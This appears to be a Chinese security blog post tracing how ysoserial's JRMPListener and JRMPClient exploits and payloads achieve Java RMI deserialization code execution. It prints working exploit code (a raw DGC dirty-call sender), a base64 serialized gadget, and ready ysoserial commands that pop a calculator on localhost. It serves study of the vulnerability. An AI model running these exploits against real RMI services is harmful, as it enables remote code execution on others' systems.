February 29, 2024

Ysoserial JRMPListener/Client Review

文章在先知社区首发

之前对这玩意儿还是不太熟悉呢,RMI的流程是熟悉了,但是这个还是有点混淆,特此记录。
有关RMI的直接推荐看一下Su18师傅的
https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93
这个写的不错我觉得。思路和条理都比较清晰,但是光看还是不行的。比我写的好,理清一下思路。(我自己都不想看自己写的)
也就是说当RMI Client发起请求后,流程大概如下

  1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
  4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI 客户端反序列化 RMI 远程方法调用结果。

上述是su18写的原话,我感觉是精华。结构感很强,我看的很懂,因为之前也自己分析过一遍流程,所以看的比较明白。

Exploit

JRMPListenr

顾名思义就是起一个恶意的JRMP 监听器,用于接收一个JRMP请求,然后将恶意的序列化数据返回给我们的客户端,在客户端完成反序列化流程,最终RCE。这里演示一遍简单的流程,首先需要准备一下yso源码,然后写一个简单的demo请求这个Evil Listener

1
2
3
4
5
6
7
8
9
package com.javasec;

public class Demo {
@Test
public void test() throws Exception {
Naming.lookup("rmi://127.0.0.1:7777/xxxx");
}
}

yso这边设置启动项
image.png
运行之后就会发现弹出了客户端弹出了计算器。
image.png

流程分析

这边进行双向流程分析,受害机和服务端的流程分析。
首先当客户端进行lookup后,服务端的thread会接收请求
image.png
image.png
进入到doMessage流程,然后会在client这边获取到op
image.png
获取之后返回给服务端
image.png
这里op是80,对应TransportConstants.Call进入docall方法。
image.png
在这里开始设置恶意的返回值。
image.png
注意这里设置了TransportConstants.ExceptionalReturn,这与我们后续client处理请求有关系,然后设置了一下payloadObject,这里是CC5。
随之进入Client
image.png
这里的return type就是上面服务端设置的TransportConstants.ExceptionalReturn,因此我们会进入相应的case
image.png
这里就对输入流进行了原生的反序列化。到这里也就完成了RCE,还是很有趣的。

JRMPClient

参考下列的Payloads/JRMPListener部分,他是用来主动攻击我们开启的JRMP服务端的。
Yso中对应的源码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);

OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);

dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objOut.writeLong(2); // DGC ObjID
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);

objOut.writeInt(1); // dirty opnum is 1
objOut.writeLong(-669196253586618813L); // hash

objOut.writeObject(payloadObject); //will be unmarshaled as the first parameter

os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}

image.png
这里对应objOut.writeLong(-669196253586618813L);
image.png
对应objOut.writeInt(1); // dirty opnum is 1
image.png
image.png
也就导致了反序列化,其他的write往前追溯都可以找到。
这里就对应上述payload中的write一系列。

Payloads

payload模块对应的其实都是gadgets,rmi也有所谓的gadgets

JRMPListenr

首先payload/JRMPListenr的作用体现在,会让存在反序列化入口点的地方,主动开启一个恶意的端口,然后当我们往这个开启的端口送入恶意的参数时就会触发反序列化,从而导致RCE。这个payload用到的地方不太多。但是流程很有趣。

流程分析

其实我自己是比较习惯于正向分析一波先,但是这里为了让条理清晰一点,我选择逆向分析payload。
image.png
java -jar ysoserial-all.jar JRMPListener 8888|base64,使用这个payload
准备一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.javasec;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.charset.StandardCharsets;
import java.rmi.Naming;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class Demo {
@Test
public void test() throws Exception {
//Naming.lookup("rmi://127.0.0.1:7777/xxxx");
SerializeUtils.base64deserial("rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAAIrhwcAAAAAAAAAAAcHAAcHBw");
while (true) {
System.out.println(System.currentTimeMillis());
Thread.sleep(3000);
}
}
}

这里的while循环是为了让进程不结束,因为我们要开端口的,程序结束了那么啥都结束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*

Yso给出了调用栈,我们跟着来一下
image.png
reexport函数
image.png
这里就是我们payload里的ActiveGroupImpl了。我们准备把他export。
image.png
用UnicastServerRef包裹了一下
image.png
这里就是一直export,我直接跳过了
image.png
image.png
到这里就listen开启监听了。然后我们就可以用exploit/jrmpclient去攻击这个地方了。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 8888 CommonsCollections6 calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
readObject:297, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1052690258 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

放一下stack,我们创建的listener接受到了请求
image.png
我们这其实是攻击了服务端的DGC,可以看到左下角的DGC_SKEL,然后会对请求进行原生的反序列化,也就导致了RCE。
image.png

JRMPClient

payloads/JRMPClient,这个gadgets是最常用的也是实战意义比较大的一个。它可以让反序列化点主动发起一个JRMP请求,然后我们配合exploit/JRMPListener开启一个监听。这样的话就可以成功的让client被攻击。是一种主动请求的方式。

流程分析

java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 7777 CommonsCollections6 calc
image.png
java -jar ysoserial-all.jar JRMPClient 127.0.0.1:8888|base64
image.png
image.png
成功弹出计算机,这个方法的原理刚刚也说了,我们逆向跟一下流程。首先我们看一下Yso的payloads怎么构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

他用了一个RemoteObjectInvocationHandler去包裹我们的UnicastRef,然后在RemoteObjectInvocationHandler
image.png
调用了UnicastRef的readExternal方法。
image.png
调用了LiveRef的read
image.png
DGCClient.registerRefs,到了DGC处理部分了。

在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统一在这里来说。
DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。
RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean:

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel。

引自Su18

这里是客户端DGC注册Ref
image.png
进入registerRefs
image.png
在这里要发起DirtyCall了。
image.png
dirty方法发起请求
image.png
进而回到了UnicastRef的newcall方法发起请求
image.png
至此完成主动访问Evil server的流程,Evil server返回payload给客户端进行Deser
image.png
结束。

Summary

还是感觉Yso这2个payload是挺有意思的,大家可以自己去尝试尝试,别搞混淆了,JRMP是RMI具有实战意义的gadgets,分析其中的流程可以让大家更好的理解RMI发序列化。到这里也算给自己的RMI做个小结。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#RMI